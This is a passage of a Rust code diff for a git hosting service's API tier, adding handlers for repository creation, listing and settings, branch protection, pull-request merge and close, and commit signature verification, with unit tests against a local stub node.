is a JOB, and running it inside this + // request would hold a connection open on a node that is also serving clones. + let path = format!( + "/api/{}/{}/pulls/{number}/merge?strategy={}&by={}", + encode(&owner), + encode(&name), + encode(strategy), + encode(&who.email) + ); + match ask_owner(&api, path).await { + Ok(200..=299) => (StatusCode::ACCEPTED, "merging").into_response(), + // Not open, or a merge is already in flight. Asking twice must not queue + // it twice, and saying so is more use than a second "accepted". + Ok(409) => ( + StatusCode::CONFLICT, + "this change is not open, or a merge is already under way", + ) + .into_response(), + Ok(404) => not_found(), + Ok(s) => { + tracing::error!(owner = %owner, name = %name, number = number, status = s, "request merge: unexpected upstream status"); + (StatusCode::BAD_GATEWAY, "could not ask for the merge").into_response() + } + Err(r) => r, + } +} + +pub(crate) async fn close_pull( + State(api): State>, + axum::extract::Path((owner, name, number)): axum::extract::Path<(String, String, i64)>, + headers: axum::http::HeaderMap, +) -> Response { + let (who, _) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + // Forwarded, not written here: the change lives in the repo's own database, and only the + // owning node may touch it. That handler publishes the event too, so this tier is left with + // the one question it alone can answer — may this person close it. + let path = format!( + "/api/{}/{}/pulls/{number}/close?by={}", + encode(&owner), + encode(&name), + encode(&who.email) + ); + match ask_owner(&api, path).await { + Ok(200..=299) => StatusCode::NO_CONTENT.into_response(), + Ok(409) => (StatusCode::CONFLICT, "this change is not open").into_response(), + Ok(404) => not_found(), + Ok(s) => { + tracing::error!(owner = %owner, name = %name, number = number, status = s, "close pull: unexpected upstream status"); + (StatusCode::BAD_GATEWAY, "could not close the change").into_response() + } + Err(r) => r, + } +} diff --git a/crates/api/src/repos.rs b/crates/api/src/repos.rs new file mode 100644 index 00000000..303b5302 --- /dev/null +++ b/crates/api/src/repos.rs @@ -0,0 +1,632 @@ +use super::*; + +// ── repos ─────────────────────────────────────────────────────────────────── + +/// A repo as the web sees it. +/// +/// The stored `createdAt` is a BSON date, which serde renders as +/// `{"$date":{"$numberLong":"…"}}` — an encoding a browser has no business +/// parsing. The wire shape is milliseconds, which `new Date(n)` reads directly. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct RepoOut { + #[serde(rename = "_id")] + pub(crate) id: String, + pub(crate) owner: String, + pub(crate) name: String, + pub(crate) public: bool, + pub(crate) description: String, + pub(crate) created_by: String, + pub(crate) created_at: i64, +} + +/// An owner's repos for listing, from the listing-index markers rather than the Mongo mirror. +/// +/// The markers ARE the listing truth now (spec §6): they are plain object-store keys, so this +/// answers on any node without opening a single repo database, and it cannot disagree with a row +/// that a failed write left behind. `_id` is not lost by leaving Mongo — it always was +/// `owner/name`, which the marker's path already carries. +/// +/// `include_private` is the whole security surface: `index::list` only withholds private names +/// when it is `false`, so a caller whose membership has NOT been established must never reach +/// here with `true` — the same contract `image_listing` states for images. +/// +/// Newest first, as the Mongo `sort(createdAt: -1)` this replaces was, so the page does not +/// reorder itself at the cutover. +pub(crate) async fn repo_listing(api: &Api, owner: &str, include_private: bool) -> Result> { + let markers = + crate::index::list(&api.store.os, crate::index::Kind::Repo, owner, include_private).await?; + let mut out: Vec = markers + .into_iter() + .map(|m| RepoOut { + id: format!("{owner}/{}", m.name), + owner: owner.to_string(), + name: m.name, + public: m.public, + description: m.description, + created_by: m.created_by, + created_at: m.created_ms, + }) + .collect(); + out.sort_by(|a, b| b.created_at.cmp(&a.created_at).then_with(|| a.name.cmp(&b.name))); + Ok(out) +} + +/// A description is a line under the repo name, not a README. The cap is what keeps it a +/// query parameter: the owning node takes it in the URL, and a 2 MiB body became a 6 MiB URL and +/// an opaque 502. +pub(crate) const MAX_DESCRIPTION: usize = 512; + +pub(crate) fn check_description(d: &str) -> std::result::Result<(), Response> { + if d.chars().count() > MAX_DESCRIPTION { + return Err(( + StatusCode::BAD_REQUEST, + format!("description must be {MAX_DESCRIPTION} characters or fewer"), + ) + .into_response()); + } + Ok(()) +} + +#[derive(serde::Deserialize)] +pub(crate) struct NewRepo { + /// The namespace: the caller's own handle, or a team they belong to. + owner: String, + name: String, + /// Absent means private, matching the node route it forwards to. + #[serde(default)] + visibility: Option, + #[serde(default)] + description: String, +} + +/// May `user` (an email) create under `owner`? +/// +/// Two ways to qualify and no third: it is their own handle, or they are a member +/// of the team of that name. Roles are not distinguished — a member who cannot +/// create a repo is a member who cannot do the work — but membership is required, +/// so holding a session is never on its own enough to write into a namespace. +/// +/// A team that does not exist and a team the caller is not in give the same +/// answer, so this cannot be used to enumerate teams. +pub(crate) async fn may_act_under( + db: &crate::directory::Directory, + user: &str, + owner: &str, +) -> Result { + if let Some(u) = db.user(user).await? { + if u.username.as_deref() == Some(owner) { + return Ok(true); + } + } + Ok(db + .get(owner) + .await? + .is_some_and(|t| t.members.iter().any(|m| m.user.eq_ignore_ascii_case(user)))) +} + +pub(crate) async fn create_repo( + State(api): State>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let (owner, name) = (body.owner.trim(), body.name.trim()); + let visibility = match body.visibility.as_deref() { + None | Some("private") => "private", + Some("public") => "public", + _ => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + // Validated HERE as well as on the node: this builds a URL from these two + // strings, and a name carrying a slash or a dot segment would address a + // different route than the one authorized just above. + if !crate::store::valid_owner(owner) || !crate::store::valid_segment(name) { + return (StatusCode::BAD_REQUEST, "invalid repository name").into_response(); + } + if crate::store::reserved_repo_name(name) { + return ( + StatusCode::BAD_REQUEST, + format!("`{name}` is a page in this namespace, so a repository cannot be called it"), + ) + .into_response(); + } + if let Err(r) = check_description(body.description.trim()) { + return r; + } + // After the request has been judged on its own terms: a malformed name is + // refused the same way whether or not the database happens to be reachable. + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match may_act_under(db, &user, owner).await { + Ok(true) => {} + // Not 403: whether a team exists is not this caller's business to learn. + Ok(false) => return (StatusCode::NOT_FOUND, "no such owner").into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "repo authorization"); + return (StatusCode::BAD_GATEWAY, "could not create repository").into_response(); + } + } + + // The name is claimed by the CREATE itself, on the node that owns the repo. There is nothing + // to reserve here first: both creates of one name route to that same node by repo key, so its + // check-then-create is the single writer that decides uniqueness, and a 409 from it is that + // decision. Reserving a row here as well would only add a second thing to unwind. + let repo = RepoOut { + id: format!("{owner}/{name}"), + owner: owner.to_string(), + name: name.to_string(), + public: visibility == "public", + description: body.description.trim().to_string(), + created_by: user.clone(), + created_at: crate::ownership::now_ms() as i64, + }; + + create_upstream(&api, owner, name, visibility, repo).await +} + +/// The upstream half of `create_repo`, after the request has been authorized: ask the owning +/// node to create, and decide from its answer whether the name must be unwound. Split out so the +/// rollback decision can be tested against a stub node without a directory behind it. +pub(crate) async fn create_upstream(api: &Api, owner: &str, name: &str, visibility: &str, repo: RepoOut) -> Response { + // The description and creator travel as query parameters because this route takes no body: + // the owning node writes them into the repo's own database, and the same `created_at_ms` is + // echoed back to the caller so the two records name the same moment. + let url = format!( + "{}/api/{}/{}/create?visibility={visibility}&description={}&created_by={}&created_at_ms={}", + api.upstream, + encode(owner), + encode(name), + encode(&repo.description), + encode(&repo.created_by), + repo.created_at, + ); + let sent = api + .client + .post(url) + .header(crate::proxy::PEER_HEADER, &api.secret) + .send() + .await; + let status = match sent { + Ok(r) => r.status().as_u16(), + // No answer is not a failed create. The node may have refused with a slow 409, or created + // the repo and lost the reply — either way the name may belong to a LIVE repository, and + // a rollback here has deleted one. Nothing is unwound on silence; a claim that did leak + // is the owning node's structural sweep's to catch. + Err(e) => { + tracing::error!(owner = %owner, name = %name, error = %e, "create repo upstream"); + return (StatusCode::BAD_GATEWAY, "could not create repository").into_response(); + } + }; + match status { + 201 | 204 => (StatusCode::CREATED, axum::Json(repo)).into_response(), + // The owning node's answer that the name is taken, rendered as the same refusal callers + // have always had for it. + 409 => (StatusCode::CONFLICT, "a repository of that name already exists").into_response(), + other => { + // A definite failure from the node itself: the create got far enough to claim the + // name and then failed — or failed before the claim, in which case this delete is a + // no-op. Either way the name must not outlive this request, otherwise it is held by + // nothing and the person who tried to create it cannot try again. + let path = format!("/api/{}/{}/delete", encode(owner), encode(name)); + // Best effort, and its own failure is already logged by `ask_owner`: this request is + // being refused either way. + let _ = ask_owner(api, path).await; + tracing::error!(owner = %owner, name = %name, status = other, "create repo upstream"); + (StatusCode::BAD_GATEWAY, "could not create repository").into_response() + } + } +} + +pub(crate) async fn list_repos( + State(api): State>, + headers: axum::http::HeaderMap, + axum::extract::Query(q): axum::extract::Query>, +) -> Response { + let user = match caller(&api, &headers) { + Ok(u) => u, + Err(r) => return r, + }; + let Some(owner) = q.get("owner").map(|s| s.trim()).filter(|s| !s.is_empty()) else { + return (StatusCode::BAD_REQUEST, "owner is required").into_response(); + }; + let db = match directory(&api) { + Ok(d) => d, + Err(r) => return r, + }; + match may_act_under(db, &user, owner).await { + Ok(true) => {} + Ok(false) => return (StatusCode::NOT_FOUND, "no such owner").into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "repo authorization"); + return (StatusCode::BAD_GATEWAY, "could not list repositories").into_response(); + } + } + // `may_act_under` above established membership, so the private names under this owner are + // this caller's to see — the same order `images` uses before it passes `true` on. + match repo_listing(&api, owner, true).await { + Ok(list) => axum::Json(list).into_response(), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "list repos"); + (StatusCode::BAD_GATEWAY, "could not list repositories").into_response() + } + } +} + +/// One repo, for the page guard that today lists the whole namespace to check a +/// single name. Same gate as the settings routes on this path, same 404 for +/// missing and not-yours; the marker under `index/` is only a view — membership +/// was decided above it, never by it. +pub(crate) async fn get_repo( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + match crate::index::read(&api.store.os, crate::index::Kind::Repo, &owner, &name).await { + Some(m) => axum::Json(RepoOut { + id: format!("{owner}/{}", m.name), + owner: owner.clone(), + name: m.name, + public: m.public, + description: m.description, + created_by: m.created_by, + created_at: m.created_ms, + }) + .into_response(), + None => (StatusCode::NOT_FOUND, "no such repository").into_response(), + } +} + +// ── repo settings ─────────────────────────────────────────────────────────── +// +// Every route here answers the same two questions first: may this caller act in +// this namespace, and does this repo exist in it. The fleet is then asked to make +// the change, because the fleet is what enforces it — the directory's copy of +// visibility is for a badge in a list, and its copy of a protection rule would be +// a rule no push path can read. + +/// The caller may act under `owner`, and `owner/name` is a well-formed repo path there. Returns +/// the resolved identity so a handler that needs it does not verify the token a second time. +pub(crate) async fn settings_caller<'a>( + api: &'a Api, + headers: &axum::http::HeaderMap, + owner: &str, + name: &str, +) -> std::result::Result<(Identity, &'a crate::directory::Directory), Response> { + let who = identify(api, headers)?; + let db = directory(api)?; + if !crate::store::valid_owner(owner) || !crate::store::valid_segment(name) { + return Err((StatusCode::BAD_REQUEST, "invalid repository name").into_response()); + } + match may_act_under(db, &who.email, owner).await { + Ok(true) => {} + Ok(false) => return Err((StatusCode::NOT_FOUND, "no such repository").into_response()), + Err(e) => { + tracing::error!(owner = %owner, error = %e, "repo authorization"); + return Err((StatusCode::BAD_GATEWAY, "could not read the repository").into_response()); + } + } + Ok((who, db)) +} + +#[derive(serde::Deserialize)] +pub(crate) struct RepoUpdate { + #[serde(default)] + description: Option, + #[serde(default)] + visibility: Option, +} + +pub(crate) async fn update_repo( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + // Only for the authorization it does: the change itself lands in the repo's own database on + // the node that owns it. + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + let public = match body.visibility.as_deref() { + None => None, + Some("public") => Some(true), + Some("private") => Some(false), + Some(_) => return (StatusCode::BAD_REQUEST, "visibility must be public or private").into_response(), + }; + + // Before the visibility flip, so a request with an oversized description changes nothing. + if let Some(d) = body.description.as_deref() { + if let Err(r) = check_description(d) { + return r; + } + } + + // The fleet first, and only then the index: the node's flag is what decides + // who may read the repo, so a failure must leave the two agreeing on the OLD + // answer rather than showing a public badge on a private repo. + if let Some(p) = public { + let vis = if p { "public" } else { "private" }; + let path = format!("/api/{}/{}/visibility?visibility={vis}", encode(&owner), encode(&name)); + match ask_owner(&api, path).await { + Ok(200..=299) => {} + Ok(404) => return (StatusCode::NOT_FOUND, "no such repository").into_response(), + Ok(s) => { + tracing::error!(owner = %owner, name = %name, status = s, "visibility upstream"); + return (StatusCode::BAD_GATEWAY, "could not change visibility").into_response(); + } + Err(r) => return r, + } + } + // Same order, same reason: the repo's own database is the truth this is moving toward, so + // it is written before the index row that mirrors it. + if let Some(d) = body.description.as_deref() { + let path = format!("/api/{}/{}/description?description={}", encode(&owner), encode(&name), encode(d)); + match ask_owner(&api, path).await { + Ok(200..=299) => {} + Ok(404) => return (StatusCode::NOT_FOUND, "no such repository").into_response(), + Ok(s) => { + tracing::error!(owner = %owner, name = %name, status = s, "description upstream"); + return (StatusCode::BAD_GATEWAY, "could not save the change").into_response(); + } + Err(r) => return r, + } + } + StatusCode::NO_CONTENT.into_response() +} + +/// Delete the repo, then forget it. That order is deliberate: the objects are the +/// thing worth removing, and an index row for a repo that is already gone is a +/// listing entry the next delete cleans up — where the reverse is a repo nobody +/// can see and everybody can still clone. +pub(crate) async fn delete_repo( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, +) -> Response { + // Only for the authorization it does: the change itself lands in the repo's own database on + // the node that owns it. + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + let path = format!("/api/{}/{}/delete", encode(&owner), encode(&name)); + match ask_owner(&api, path).await { + Ok(200..=299) => {} + Ok(s) => { + tracing::error!(owner = %owner, name = %name, status = s, "delete upstream"); + return (StatusCode::BAD_GATEWAY, "could not delete the repository").into_response(); + } + Err(r) => return r, + } + StatusCode::NO_CONTENT.into_response() +} + +pub(crate) async fn list_protection( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + let url = format!("{}/api/{}/{}/protect", api.upstream, encode(&owner), encode(&name)); + let r = match api.client.get(url).header(crate::proxy::PEER_HEADER, &api.secret).send().await { + Ok(r) => r, + Err(e) => { + tracing::error!(owner = %owner, name = %name, error = %e, "protection upstream"); + return (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response(); + } + }; + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + match read_bounded(r).await { + Ok(body) => (status, [(header::CONTENT_TYPE, "application/json")], body).into_response(), + Err(e) => { + tracing::error!(owner = %owner, name = %name, error = %e, "protection body"); + (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response() + } + } +} + +#[derive(serde::Deserialize)] +pub(crate) struct ProtectionChange { + pattern: String, + #[serde(default)] + remove: bool, + #[serde(default = "yes")] + no_force: bool, + #[serde(default = "yes")] + no_delete: bool, +} + +pub(crate) fn yes() -> bool { + true +} + +pub(crate) async fn set_protection( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::Json(body): axum::Json, +) -> Response { + if let Err(r) = settings_caller(&api, &headers, &owner, &name).await { + return r; + } + let pattern = body.pattern.trim(); + if pattern.is_empty() { + return (StatusCode::BAD_REQUEST, "a branch pattern is required").into_response(); + } + let mut path = format!( + "/api/{}/{}/protect?pattern={}", + encode(&owner), + encode(&name), + encode(pattern) + ); + if body.remove { + path.push_str("&remove=1"); + } else { + if !body.no_force { + path.push_str("&no_force=0"); + } + if !body.no_delete { + path.push_str("&no_delete=0"); + } + } + match ask_owner(&api, path).await { + Ok(200..=299) => StatusCode::NO_CONTENT.into_response(), + Ok(400) => (StatusCode::BAD_REQUEST, "that is not a branch pattern").into_response(), + Ok(404) => (StatusCode::NOT_FOUND, "no such repository").into_response(), + Ok(s) => { + tracing::error!(owner = %owner, name = %name, status = s, "protect upstream"); + (StatusCode::BAD_GATEWAY, "could not save the rule").into_response() + } + Err(r) => r, + } +} + + +#[cfg(test)] +mod tests { + use super::*; + use crate::testing::*; + + /// The listing answers from markers alone — this suite has no Mongo fixture at all, so a + /// marker with no row behind it listing correctly IS the cutover being proven. + #[tokio::test] + async fn a_repo_listing_reads_markers_not_mongo_rows() { + let api = test_api_with_secret("s").await; + crate::index::write(&api.store.os, crate::index::Kind::Repo, "alice", &test_marker("web", true)) + .await + .unwrap(); + let out = repo_listing(&api, "alice", true).await.unwrap(); + assert_eq!(out.len(), 1); + assert_eq!(out[0].id, "alice/web", "the `owner/name` identity the Mongo `_id` carried"); + assert_eq!(out[0].owner, "alice"); + assert_eq!(out[0].name, "web"); + assert!(out[0].public); + assert_eq!(out[0].description, "the web repo"); + assert_eq!(out[0].created_by, "alice@example.com"); + assert_eq!(out[0].created_at, 1_700_000_000_000); + } + + /// The leak test: a caller who is not a member gets `include_private = false`, and the + /// private name must be absent from the SERIALIZED body, not merely from some filtered + /// struct — the name itself is the thing that must not escape. + #[tokio::test] + async fn a_listing_without_private_access_never_names_a_private_repo() { + let api = test_api_with_secret("s").await; + for m in [test_marker("web", true), test_marker("skunkworks", false)] { + crate::index::write(&api.store.os, crate::index::Kind::Repo, "alice", &m).await.unwrap(); + } + let body = serde_json::to_string(&repo_listing(&api, "alice", false).await.unwrap()).unwrap(); + assert!(body.contains("web"), "the public repo is still listed"); + assert!(!body.contains("skunkworks"), "a private repo's NAME leaked into a public listing"); + + let body = serde_json::to_string(&repo_listing(&api, "alice", true).await.unwrap()).unwrap(); + assert!(body.contains("skunkworks"), "a member sees both prefixes"); + } + + /// Both markers present is a crashed flip; it must read as private, in the listing too. + #[tokio::test] + async fn a_repo_with_both_markers_lists_as_private() { + let api = test_api_with_secret("s").await; + let m = test_marker("web", true); + crate::index::put_in_place(&api.store.os, crate::index::Kind::Repo, "alice", &m).await.unwrap(); + crate::index::put_in_place( + &api.store.os, + crate::index::Kind::Repo, + "alice", + &crate::index::Marker { public: false, ..m }, + ) + .await + .unwrap(); + assert!(repo_listing(&api, "alice", false).await.unwrap().is_empty(), "fail closed"); + let out = repo_listing(&api, "alice", true).await.unwrap(); + assert_eq!(out.len(), 1); + assert!(!out[0].public); + } + + #[test] + fn a_description_past_the_cap_is_refused_before_it_becomes_a_url() { + assert!(check_description(&"x".repeat(MAX_DESCRIPTION)).is_ok()); + assert!(check_description(&"x".repeat(MAX_DESCRIPTION + 1)).is_err()); + // Counted in characters, not bytes: a 300-character non-ASCII blurb is a blurb. + assert!(check_description(&"é".repeat(MAX_DESCRIPTION)).is_ok()); + } + + /// A stub owning node: answers `create` as told (or never, to stand in for a timeout) and + /// records whether `delete` was ever asked. + async fn stub_node(create: Option) -> (String, Arc) { + use axum::routing::post; + let deleted = Arc::new(std::sync::atomic::AtomicBool::new(false)); + let d = deleted.clone(); + let app = axum::Router::new() + .route( + "/api/{owner}/{name}/create", + post(move || async move { + match create { + Some(s) => StatusCode::from_u16(s).unwrap(), + None => std::future::pending().await, + } + }), + ) + .route( + "/api/{owner}/{name}/delete", + post(move || async move { + d.store(true, std::sync::atomic::Ordering::SeqCst); + StatusCode::NO_CONTENT + }), + ); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let url = format!("http://{}", l.local_addr().unwrap()); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + (url, deleted) + } + + async fn create_against(create: Option) -> (StatusCode, bool) { + let (url, deleted) = stub_node(create).await; + let mut api = test_api_with_secret("s").await; + api.upstream = url; + api.client = reqwest::Client::builder().timeout(std::time::Duration::from_millis(200)).build().unwrap(); + let repo = RepoOut { + id: "alice/web".into(), + owner: "alice".into(), + name: "web".into(), + public: false, + description: String::new(), + created_by: "alice@example.com".into(), + created_at: 0, + }; + let r = create_upstream(&api, "alice", "web", "private", repo).await; + (r.status(), deleted.load(std::sync::atomic::Ordering::SeqCst)) + } + + /// The Q-2 defect: a create that timed out used to roll back by deleting — and a slow 409 + /// was a delete of the live repo the name belonged to. + #[tokio::test] + async fn a_create_with_no_answer_deletes_nothing() { + let (status, deleted) = create_against(None).await; + assert_eq!(status, StatusCode::BAD_GATEWAY); + assert!(!deleted, "silence from the node is not a failed create"); + } + + #[tokio::test] + async fn a_create_the_node_refused_is_rolled_back() { + let (status, deleted) = create_against(Some(500)).await; + assert_eq!(status, StatusCode::BAD_GATEWAY); + assert!(deleted, "a definite failure still unwinds the name"); + } + + #[tokio::test] + async fn a_conflict_is_not_rolled_back() { + let (status, deleted) = create_against(Some(409)).await; + assert_eq!(status, StatusCode::CONFLICT); + assert!(!deleted); + } +} diff --git a/crates/api/src/signatures.rs b/crates/api/src/signatures.rs new file mode 100644 index 00000000..6d324059 --- /dev/null +++ b/crates/api/src/signatures.rs @@ -0,0 +1,411 @@ +use super::*; + +// ── commit signatures ─────────────────────────────────────────────────────── + +/// What a signature amounts to. +/// +/// The three answers are deliberately distinct. "Signed by a key we do not know" +/// is not the same as "signed by a key that is not this author's" — the first is +/// a stranger, the second is a mismatch worth looking at — and neither is +/// "unsigned", which is simply the common case and not a warning. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +pub(crate) struct Verification { + /// `unsigned` | `verified` | `unverified` + state: &'static str, + /// The same vocabulary GitHub uses — `valid`, `unknown_key`, `expired_key`, + /// `bad_email` and so on — so a client branches on a fixed set rather than on + /// prose that can be reworded. + reason_code: &'static str, + /// Who the key belongs to, when we know them. + #[serde(skip_serializing_if = "Option::is_none")] + signer: Option, + /// Why it is not verified, in words meant for a person. + #[serde(skip_serializing_if = "Option::is_none")] + reason: Option, +} + +#[derive(serde::Deserialize, Clone)] +pub(crate) struct SignatureOf { + signature: String, + payload_base64: String, + author_email: String, +} + +/// The api tier's half of a patch: authorize, name the author, forward. +/// +/// The api tier never writes objects itself — the owning node does, because one +/// writer per repo is what makes branch protection and ref updates decidable. So +/// this establishes WHO is committing and hands the patch on; the node's +/// `update_refs` still has the last word on whether the branch may move. +pub(crate) async fn commit_patch( + State(api): State>, + axum::extract::Path((owner, name)): axum::extract::Path<(String, String)>, + headers: axum::http::HeaderMap, + axum::Json(mut body): axum::Json, +) -> Response { + let (who, _) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + + // The author is WHO IS SIGNED IN, never what the request said. A caller that could name its + // own author could write history as somebody else. The display name comes from the session; + // the peer path has none, so the email stands in. + let name_of = who.name.unwrap_or_else(|| who.email.clone()); + let Some(obj) = body.as_object_mut() else { + return (StatusCode::BAD_REQUEST, "expected an object").into_response(); + }; + obj.insert("authorName".into(), serde_json::Value::String(name_of)); + obj.insert("authorEmail".into(), serde_json::Value::String(who.email)); + + let url = format!("{}/api/{}/{}/patch", api.upstream, encode(&owner), encode(&name)); + let sent = api + .client + .post(url) + .header(crate::proxy::PEER_HEADER, &api.secret) + .header(crate::proxy::OWNER_HEADER, &owner) + .header(axum::http::header::CONTENT_TYPE, "application/json") + .body(match serde_json::to_vec(&body) { + Ok(b) => b, + Err(e) => { + tracing::error!(owner = %owner, name = %name, error = %e, "commit patch"); + return (StatusCode::BAD_REQUEST, "could not read the patch").into_response(); + } + }) + .send() + .await; + let r = match sent { + Ok(r) => r, + Err(e) => { + tracing::error!(owner = %owner, name = %name, error = %e, "commit patch"); + return (StatusCode::BAD_GATEWAY, "could not reach the repository").into_response(); + } + }; + let status = StatusCode::from_u16(r.status().as_u16()).unwrap_or(StatusCode::BAD_GATEWAY); + let text = text_bounded(r).await; + // The node's own words: "this branch has moved since you started editing", or + // the protection rule that refused it. Both are written for the person at the + // editor, so they are passed through rather than replaced. + if status.is_success() { + (status, [(axum::http::header::CONTENT_TYPE, "application/json")], text).into_response() + } else { + (status, text).into_response() + } +} + +pub(crate) async fn verify_commit( + State(api): State>, + axum::extract::Path((owner, name, sha)): axum::extract::Path<(String, String, String)>, + headers: axum::http::HeaderMap, +) -> Response { + let (_, db) = match settings_caller(&api, &headers, &owner, &name).await { + Ok(v) => v, + Err(r) => return r, + }; + + let url = format!( + "{}/api/{}/{}/signature/{}", + api.upstream, + encode(&owner), + encode(&name), + encode(&sha) + ); + // The peer secret alone is not an identity: this route reads a repo, so the + // node applies the same read check it applies to any browse request and needs + // to be told WHO is reading. `settings_caller` has already established that + // the caller may act under this owner, which is what is asserted here. + let r = match api + .client + .get(url) + .header(crate::proxy::PEER_HEADER, &api.secret) + .header(crate::proxy::OWNER_HEADER, &owner) + .send() + .await + { + Ok(r) => r, + Err(e) => { + tracing::error!(error = %e, "signature upstream"); + return (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response(); + } + }; + if r.status() == reqwest::StatusCode::NOT_FOUND { + return (StatusCode::NOT_FOUND, "no such commit").into_response(); + } + let body = match read_bounded(r).await { + Ok(b) => b, + Err(e) => { + tracing::error!(error = %e, "signature body"); + return (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response(); + } + }; + let signed: Option = match serde_json::from_slice(&body) { + Ok(v) => v, + Err(e) => { + tracing::error!(error = %e, "signature parse"); + return (StatusCode::BAD_GATEWAY, "the service is unavailable").into_response(); + } + }; + let Some(signed) = signed else { + return axum::Json(Verification { + state: "unsigned", + reason_code: "unsigned", + signer: None, + reason: None, + }) + .into_response(); + }; + + axum::Json(verify_signature(db, &signed).await).into_response() +} + +/// The fingerprint an ssh signature presents, in the form `signer_by_any` is queried with. +/// Lowercased here AND at registration (`ssh_signing_fingerprints`): Mongo's `$in` is an exact +/// match, and `SHA256:` is mixed case, so the two sides must agree on one spelling. +pub(crate) fn ssh_signature_fingerprint(sig: &russh::keys::ssh_key::SshSig) -> String { + sig.public_key() + .fingerprint(russh::keys::HashAlg::Sha256) + .to_string() + .to_lowercase() +} + +fn unverified(code: &'static str, reason: &str) -> Verification { + Verification { state: "unverified", reason_code: code, signer: None, reason: Some(reason.to_string()) } +} + +/// Judge a GPG signature once the directory has answered. `known` is the key the signature's +/// issuers resolved to — normally a subkey's owner, because a commit is signed by a subkey while +/// the person is the primary key behind it; `signer_by_any` walks that back. +pub(crate) fn judge_pgp( + known: Option, + signed: &SignatureOf, + payload: &[u8], +) -> Verification { + let Some(known) = known else { + return unverified("unknown_key", "signed by a key nobody here has registered"); + }; + use crate::gpg::Reason; + // The key's user ids are text its holder typed, so a uid matching the author proves only that + // the holder CLAIMS that address. The registrant is who we actually know — same rule as + // `judge_ssh`, or anyone could register a key with the victim's uid and sign as them. + let reason = match crate::gpg::verify(&known.material, &signed.signature, payload, &signed.author_email) { + Reason::Valid if !known.created_by.eq_ignore_ascii_case(signed.author_email.trim()) => Reason::BadEmail, + r => r, + }; + let words = match reason { + Reason::Valid => None, + Reason::RevokedKey => Some("that key has been revoked".to_string()), + Reason::ExpiredKey => Some("that key had expired".to_string()), + Reason::Invalid => Some("the signature does not match the commit".to_string()), + Reason::UnknownKey => Some("the registered key could not be read".to_string()), + Reason::UnknownSignatureType => Some("the signature could not be read".to_string()), + Reason::BadEmail => Some(format!( + "signed by {}, but the commit says {} wrote it", + known.created_by, signed.author_email + )), + }; + Verification { + state: if reason == Reason::Valid { "verified" } else { "unverified" }, + reason_code: reason.as_str(), + signer: Some(known.created_by), + reason: words, + } +} + +/// Judge an ssh signature once the directory has answered. +/// +/// Two things have to hold for "verified": the signature is good, AND the key belongs to the +/// person the commit says wrote it. A valid signature by somebody else's key is exactly what a +/// forged authorship line looks like, so it reports as unverified with the reason spelled out. +pub(crate) fn judge_ssh( + sig: &russh::keys::ssh_key::SshSig, + payload: &[u8], + known: Option, + author_email: &str, +) -> Verification { + let Some(known) = known else { + return unverified("unknown_key", "signed by a key nobody here has registered"); + }; + // The cryptography last: an unknown key is not worth verifying against, and this order + // means a bad signature and an unknown signer are never confused. + let key = russh::keys::PublicKey::from(sig.public_key().clone()); + // `git` is the namespace git signs commits under; a signature made for anything else is not + // a commit signature. + if key.verify("git", payload, sig).is_err() { + return unverified("invalid", "the signature does not match the commit"); + } + if !known.created_by.eq_ignore_ascii_case(author_email.trim()) { + return Verification { + state: "unverified", + reason_code: "bad_email", + signer: Some(known.created_by.clone()), + reason: Some(format!( + "signed by {}, but the commit says {} wrote it", + known.created_by, author_email + )), + }; + } + Verification { state: "verified", reason_code: "valid", signer: Some(known.created_by), reason: None } +} + +/// Judge one signature: decode, ask the directory who holds the key, then judge. The lookup is +/// the only async step and the only one that needs Mongo, which is why the judgement is split +/// off — `judge_ssh`/`judge_pgp` are tested without a directory. +pub(crate) async fn verify_signature(db: &crate::directory::Directory, signed: &SignatureOf) -> Verification { + use base64::Engine; + let Ok(payload) = base64::engine::general_purpose::STANDARD.decode(&signed.payload_base64) + else { + return unverified("invalid", "the signed content could not be read"); + }; + if crate::gpg::is_pgp(&signed.signature) { + let Ok(issuers) = crate::gpg::issuers(&signed.signature) else { + return unverified("unknown_signature_type", "the signature could not be read"); + }; + return match db.signer_by_any(&issuers).await { + Ok(known) => judge_pgp(known, signed, &payload), + Err(e) => { + tracing::warn!(error = %e, "signer lookup"); + unverified("invalid", "the signing key could not be looked up") + } + }; + } + let Ok(sig) = signed.signature.parse::() else { + return unverified("unknown_signature_type", "the signature could not be read"); + }; + // Looked up the same way as a GPG key, so one index serves both kinds. + match db.signer_by_any(&[ssh_signature_fingerprint(&sig)]).await { + Ok(known) => judge_ssh(&sig, &payload, known, &signed.author_email), + Err(e) => { + tracing::warn!(error = %e, "signer 